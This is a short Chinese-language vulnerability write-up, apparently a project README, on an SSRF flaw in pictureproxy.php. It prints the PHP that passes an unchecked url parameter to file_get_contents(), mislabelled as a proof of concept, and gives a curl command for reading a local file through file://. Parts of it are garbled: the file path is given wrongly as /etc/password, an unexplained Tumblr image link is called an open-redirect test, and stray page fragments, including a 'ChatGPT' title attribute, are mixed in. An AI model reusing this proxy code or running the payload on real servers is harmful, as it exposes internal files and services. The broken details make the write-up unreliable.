本项目演示了 pictureproxy.php 文件中的一个服务器端请求伪造(SSRF)漏洞。
pictureproxy.php 中的一个漏洞允许远程攻击者通过向 url 参数注入 URL 来执行任意请求。此 SSRF 漏洞可在无需身份验证的情况下被利用,因此尤为危险。
存在漏洞的代码位于 pictureproxy.php 文件中。问题在于该函数未正确验证 url 参数。$_GET['url'] 变量被传递给 file_get_contents() 函数,该函数会从指定 URL 获取内容。这可能导致 SSRF。
以下是一个简单的概念验证,展示了如何利用该漏洞:
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
要测试该漏洞,可以使用以下 curl 命令:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
使用开放重定向漏洞进行的测试:
https://64.media.tumblr.com/f07b73b374dc2ff6d5e4dbf39d2a6467/tumblr_nvani31DCm1u5url1o1_1280.jpg
横幅
"title="ChatGPT个人专用版""
本项目强调了正确验证用户输入以避免 SSRF 漏洞的重要性。请始终确保在处理之前对 URL 等参数进行全面检查。